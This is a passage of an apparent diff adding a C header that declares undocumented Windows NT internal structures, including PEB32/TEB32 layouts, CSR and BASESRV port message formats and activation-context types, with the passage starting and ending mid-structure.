ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef + VOID + (*PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _TIB +{ + struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; + PVOID StackBase; + PVOID StackLimit; + PVOID SubSystemTib; + + union + { + PVOID FiberData; + ULONG Version; + }; + + PVOID ArbitraryUserPointer; + struct _TIB *Self; +} TIB; +typedef TIB *PTIB; + +// +// inifile mapping +// + +typedef struct _NLS_USER_INFO +{ + + /**/ /*|0xa0|*/ WCHAR iCountry[80]; + /**/ /*|0xa0|*/ WCHAR sCountry[80]; + /**/ /*|0xa0|*/ WCHAR sList[80]; + /**/ /*|0xa0|*/ WCHAR iMeasure[80]; + /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; + /**/ /*|0xa0|*/ WCHAR sDecimal[80]; + /**/ /*|0xa0|*/ WCHAR sThousand[80]; + /**/ /*|0xa0|*/ WCHAR sGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iDigits[80]; + /**/ /*|0xa0|*/ WCHAR iLZero[80]; + /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; + /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; + /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; + /**/ /*|0xa0|*/ WCHAR sCurrency[80]; + /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; + /**/ /*|0xa0|*/ WCHAR iCurrency[80]; + /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; + /**/ /*|0xa0|*/ WCHAR sPosSign[80]; + /**/ /*|0xa0|*/ WCHAR sNegSign[80]; + /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; + /**/ /*|0xa0|*/ WCHAR s1159[80]; + /**/ /*|0xa0|*/ WCHAR s2359[80]; + /**/ /*|0xa0|*/ WCHAR sShortDate[80]; + /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; + /**/ /*|0xa0|*/ WCHAR sLongDate[80]; + /**/ /*|0xa0|*/ WCHAR iCalType[80]; + /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; + /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; + /**/ /*|0xa0|*/ WCHAR sLocale[80]; + /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; + /**/ /*|0x4|*/ ULONG UserLocaleId; + /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; + /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; + /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; +} NLS_USER_INFO, *PNLS_USER_INFO; // + +typedef struct _INIFILE_MAPPING_TARGET +{ + struct _INIFILE_MAPPING_TARGET* Next; + struct _UNICODE_STRING RegistryPath; +} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; + +typedef struct _INIFILE_MAPPING_VARNAME +{ + struct _INIFILE_MAPPING_VARNAME* Next; + UNICODE_STRING Name; + ULONG MappingFlags; + struct _INIFILE_MAPPING_TARGET* MappingTarget; +} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; + +typedef struct _INIFILE_MAPPING_APPNAME +{ + struct _INIFILE_MAPPING_APPNAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_VARNAME* VariableNames; + struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; +} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; + +typedef struct _INIFILE_MAPPING_FILENAME +{ + struct _INIFILE_MAPPING_FILENAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_APPNAME* ApplicationNames; + struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; +} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; + +typedef struct _INIFILE_MAPPING +{ + struct _INIFILE_MAPPING_FILENAME* FileNames; + struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; + struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; + ULONG Reserved; +} INIFILE_MAPPING, *PINIFILE_MAPPING; + +#define PORT_CONNECT (0x0001) + +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + + ULONG Length; + + } u1; + + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + + union + { + LPC_CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + }; + + ULONG MessageId; + union + { + LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + }; + // UCHAR Data[]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + LPC_PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + + // + // csrss & csrsrv related + // + + typedef ULONG CSR_API_NUMBER; + +#define CSR_API_PORT_NAME L"ApiPort" + + // + // This structure is filled in by the client prior to connecting to the CSR + // server. The CSR server will fill in the OUT fields if prior to accepting + // the connection. + // + + typedef struct _CSR_API_CONNECTINFO { + HANDLE ObjectDirectory; + PVOID SharedSectionBase; + PVOID SharedStaticServerData; + PVOID SharedSectionHeap; + ULONG DebugFlags; + ULONG SizeOfPebData; + ULONG SizeOfTebData; + ULONG NumberOfServerDllNames; + HANDLE ServerProcessId; + } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; + + // + // Message format for messages sent from the client to the server + // + + typedef struct _CSR_CLIENTCONNECT_MSG + { + ULONG ServerDllIndex; + PVOID ConnectionInformation; + ULONG ConnectionInformationLength; + } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // + +#define CSR_NORMAL_PRIORITY_CLASS 0x00000010 +#define CSR_IDLE_PRIORITY_CLASS 0x00000020 +#define CSR_HIGH_PRIORITY_CLASS 0x00000040 +#define CSR_REALTIME_PRIORITY_CLASS 0x00000080 + + typedef struct _CSR_CAPTURE_HEADER { + ULONG Length; + PVOID RelatedCaptureBuffer; + ULONG CountMessagePointers; + PCHAR FreeSpace; + ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers + } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; + +#define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" + +#define CSRSRV_SERVERDLL_INDEX 0 +#define CSRSRV_FIRST_API_NUMBER 0 + +#define BASESRV_SERVERDLL_INDEX 1 +#define BASESRV_FIRST_API_NUMBER 0 + +#define CONSRV_SERVERDLL_INDEX 2 +#define CONSRV_FIRST_API_NUMBER 512 + +#define USERSRV_SERVERDLL_INDEX 3 +#define USERSRV_FIRST_API_NUMBER 1024 + +#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ + (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) + +#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ + ((ULONG)((ULONG)(ApiNumber) >> 16)) + +#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ + ((ULONG)((USHORT)(ApiNumber))) + +typedef struct _CSR_NT_SESSION +{ + struct _LIST_ENTRY SessionLink; + ULONG SessionId; + ULONG ReferenceCount; + STRING RootDirectory; +} CSR_NT_SESSION, *PCSR_NT_SESSION; + +typedef struct _CSR_API_MSG +{ + PORT_MESSAGE h; + union + { + CSR_API_CONNECTINFO ConnectionRequest; + struct + { + PCSR_CAPTURE_HEADER CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { + CSR_CLIENTCONNECT_MSG ClientConnect; + ULONG_PTR ApiMessageData[ 46 ]; + } u; + }; + }; +} CSR_API_MSG, *PCSR_API_MSG; + +typedef +ULONG (*PCSR_CALLBACK_ROUTINE)( + IN OUT PCSR_API_MSG ReplyMsg + ); + +typedef struct _CSR_CALLBACK_INFO +{ + ULONG ApiNumberBase; + ULONG MaxApiNumber; + PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; +} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; + +// end csrss + + +// +// Time Zone +// + +typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { + struct _RTL_TIME_ZONE_INFORMATION tzi; + WCHAR TimeZoneKeyName[ 128 ]; + UCHAR DynamicDaylightTimeDisabled; +} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // + +// +// basesrv api +// + +typedef struct _BASESRV_API_CONNECTINFO +{ + ULONG ExpectedVersion; + HANDLE DefaultObjectDirectory; + ULONG WindowsVersion; + ULONG CurrentVersion; + ULONG DebugFlags; + WCHAR WindowsDirectory[ MAX_PATH ]; + WCHAR WindowsSystemDirectory[ MAX_PATH ]; +} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; + +typedef enum _BASESRV_API_NUMBER { + BasepCreateProcess = BASESRV_FIRST_API_NUMBER, + BasepCreateThread, + BasepGetTempFile, + BasepExitProcess, + BasepDebugProcess, + BasepCheckVDM, + BasepUpdateVDMEntry, + BasepGetNextVDMCommand, + BasepExitVDM, + BasepIsFirstVDM, + BasepGetVDMExitCode, + BasepSetReenterCount, + BasepSetProcessShutdownParam, + BasepGetProcessShutdownParam, + BasepSetVDMCurDirs, + BasepGetVDMCurDirs, + BasepBatNotification, + BasepRegisterWowExec, + BasepSoundSentryNotification, + BasepRefreshIniFileMapping, + BasepDefineDosDevice, + BasepSetTermsrvAppInstallMode, + BasepSetTermsrvClientTimeZone, + BasepSxsCreateActivationContext, + BasepDebugProcessStop, + BasepRegisterThread, + BasepDeferredCreateProcess, + BasepNlsGetUserInfo, + BasepNlsSetUserInfo, + BasepNlsUpdateCacheCount, + BasepMaxApiNumber +} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; + +typedef struct _BASE_NLS_SET_USER_INFO_MSG +{ + ULONG LCType; + USHORT* pData; + ULONG DataLength; +} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; + +typedef struct _BASE_NLS_GET_USER_INFO_MSG +{ + struct _NLS_USER_INFO* pData; + ULONG DataLength; +} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; + +typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG +{ + ULONG Reserved; +} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; + +typedef struct _BASE_UPDATE_VDM_ENTRY_MSG +{ + ULONG iTask; + ULONG BinaryType; + PVOID ConsoleHandle; + PVOID VDMProcessHandle; + PVOID WaitObjectForParent; + USHORT EntryIndex; + USHORT VDMCreationState; +} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; + +typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG +{ + ULONG iTask; + PVOID ConsoleHandle; + PVOID WaitObjectForVDM; + PVOID StdIn; + PVOID StdOut; + PVOID StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + ULONG ExitCode; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + struct _STARTUPINFOA* StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CurrentDrive; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT VDMState; + UCHAR fComingFromBat; +} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; + +typedef struct _BASE_SHUTDOWNPARAM_MSG +{ + ULONG ShutdownLevel; + ULONG ShutdownFlags; +} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; + +typedef struct _BASE_GETTEMPFILE_MSG +{ + ULONG uUnique; +} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; + +typedef struct _BASE_DEBUGPROCESS_MSG +{ + ULONG dwProcessId; + CLIENT_ID DebuggerClientId; + PVOID AttachCompleteRoutine; +} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // + +typedef struct _BASE_CHECKVDM_MSG +{ + ULONG iTask; + HANDLE ConsoleHandle; + ULONG BinaryType; + HANDLE WaitObjectForParent; + HANDLE StdIn; + HANDLE StdOut; + HANDLE StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + LPSTARTUPINFOA StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT CurDrive; + USHORT VDMState; + struct _LUID* UserLuid; +} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; + +typedef struct _BASE_GET_VDM_EXIT_CODE_MSG +{ + PVOID ConsoleHandle; + PVOID hParent; + ULONG ExitCode; +} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // + +typedef struct _BASE_DEFERREDCREATEPROCESS_MSG +{ + struct _CLIENT_ID* ClientId; + ULONG NtUserFlags; +} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // + +typedef struct _BASE_EXITPROCESS_MSG { + NTSTATUS uExitCode; +} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // + +typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG +{ + PVOID ConsoleHandle; + PCHAR lpszzCurDirs; + ULONG cchCurDirs; +} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // + +typedef struct _BASE_SET_REENTER_COUNT +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // + +typedef struct _BASE_SXS_CREATEPROCESS_MSG +{ + ULONG Flags; + ULONG ProcessParameterFlags; + union + { + UNICODE_STRING CultureFallbacks; + ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; + } u; +} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATEPROCESS_MSG +{ + PVOID ProcessHandle; + PVOID ThreadHandle; + CLIENT_ID ClientId; + ULONG CreationFlags; + ULONG VdmBinaryType; + ULONG VdmTask; + PVOID hVDM; + struct _BASE_SXS_CREATEPROCESS_MSG Sxs; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + USHORT ProcessorArchitecture; +} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATETHREAD_MSG +{ + PVOID ThreadHandle; + CLIENT_ID ClientId; +} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // + + +typedef struct _BASE_MSG_SXS_HANDLES +{ + PVOID File; + PVOID Process; + PVOID Section; + ULONGLONG ViewBase; +} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // + + +typedef struct _BASE_EXIT_VDM_MSG +{ + PVOID ConsoleHandle; + ULONG iWowTask; + PVOID WaitObjectForVDM; +} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // + + +typedef struct _BASE_IS_FIRST_VDM_MSG +{ + __int32 FirstVDM; +} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // + + +typedef struct _BASE_SET_REENTER_COUNT_MSG +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // + + +typedef struct _BASE_BAT_NOTIFICATION_MSG +{ + PVOID ConsoleHandle; + ULONG fBeginEnd; +} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // + + +typedef struct _BASE_REGISTER_WOWEXEC_MSG +{ + PVOID hEventWowExec; + PVOID ConsoleHandle; +} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // + + +typedef struct _BASE_REFRESHINIFILEMAPPING_MSG +{ + UNICODE_STRING IniFileName; +} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // + + +typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE +{ + struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; + ULONG ulDTZInfoSize; + KSYSTEM_TIME RealBias; + ULONG TimeZoneId; +} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // + +typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE +{ + __int32 bState; +} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; + + +typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG +{ + ULONG VideoMode; +} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // + + +typedef struct _BASE_DEFINEDOSDEVICE_MSG +{ + ULONG Flags; + UNICODE_STRING DeviceName; + UNICODE_STRING TargetPath; +} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // + +typedef struct _BASE_MSG_SXS_STREAM +{ + UCHAR FileType; + UCHAR PathType; + UCHAR HandleType; + UNICODE_STRING Path; + PVOID FileHandle; + HANDLE Handle; + unsigned __int64 Offset; + ULONG Size; +} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // + + +typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG +{ + ULONG Flags; + USHORT ProcessorArchitecture; + UNICODE_STRING CultureFallbacks; + struct _BASE_MSG_SXS_STREAM Manifest; + struct _BASE_MSG_SXS_STREAM Policy; + UNICODE_STRING AssemblyDirectory; + UNICODE_STRING TextualAssemblyIdentity; + unsigned __int64 FileTime; + ULONG ResourceName; + PVOID ActivationContextData; + struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; +} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // + + + +typedef struct _BASE_API_MSG +{ + PORT_MESSAGE h; + struct _CSR_CAPTURE_HEADER* CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { /* size 0xb0*/ + BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; + BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; + BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; + BASE_SHUTDOWNPARAM_MSG ShutdownParam; + BASE_CREATEPROCESS_MSG CreateProcess; + BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; + BASE_CREATETHREAD_MSG CreateThread; + BASE_GETTEMPFILE_MSG GetTempFile; + BASE_EXITPROCESS_MSG ExitProcess; + BASE_DEBUGPROCESS_MSG DebugProcess; + BASE_CHECKVDM_MSG CheckVDM; + BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; + BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; + BASE_EXIT_VDM_MSG ExitVDM; + BASE_IS_FIRST_VDM_MSG IsFirstVDM; + BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; + BASE_SET_REENTER_COUNT SetReenterCount; + BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; + BASE_BAT_NOTIFICATION_MSG BatNotification; + BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; + BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; + BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; + BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; + BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; + BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; + BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; + } u; +} BASE_API_MSG, *PBASE_API_MSG; // + +typedef struct _BASE_STATIC_SERVER_DATA +{ + UNICODE_STRING WindowsDirectory; + UNICODE_STRING WindowsSystemDirectory; + UNICODE_STRING NamedObjectDirectory; + USHORT WindowsMajorVersion; + USHORT WindowsMinorVersion; + USHORT BuildNumber; + USHORT CSDNumber; + USHORT RCNumber; + WCHAR CSDVersion[128]; + SYSTEM_BASIC_INFORMATION SysInfo; + SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; + struct _INIFILE_MAPPING* IniFileMapping; + NLS_USER_INFO NlsUserInfo; + UCHAR DefaultSeparateVDM; + UCHAR IsWowTaskReady; + UNICODE_STRING WindowsSys32x86Directory; + UCHAR fTermsrvAppInstallMode; + RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; + KSYSTEM_TIME ktTermsrvClientBias; + ULONG TermsrvClientTimeZoneId; + UCHAR LUIDDeviceMapsEnabled; + ULONG TermsrvClientTimeZoneChangeNum; +} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH,*PGDI_TEB_BATCH; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny +} WAIT_TYPE; + +#define STATIC_UNICODE_BUFFER_LENGTH 261 +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define WIN32_CLIENT_INFO_SPIN_COUNT 1 + +typedef PVOID* PPVOID; + +#define TLS_MINIMUM_AVAILABLE 64 + +typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { + + ULONG Flags; + UNICODE_STRING DosPath; + PVOID Handle; +} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; + +typedef struct _ASSEMBLY_STORAGE_MAP { + + ULONG Flags; + ULONG AssemblyCount; + struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; +} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; + +typedef struct _ACTIVATION_CONTEXT_DATA { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; + ULONG ExtendedTocOffset; + ULONG AssemblyRosterOffset; + ULONG Flags; +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT { + + LONG RefCount; + ULONG Flags; + LIST_ENTRY Links; + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; + //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); + struct _ACTIVATION_CONTEXT* NotificationRoutine; + PVOID NotificationContext; + ULONG SentNotifications[8]; + ULONG DisabledNotifications[8]; + struct _ASSEMBLY_STORAGE_MAP StorageMap; + struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; + ULONG StackTraceIndex; + PVOID 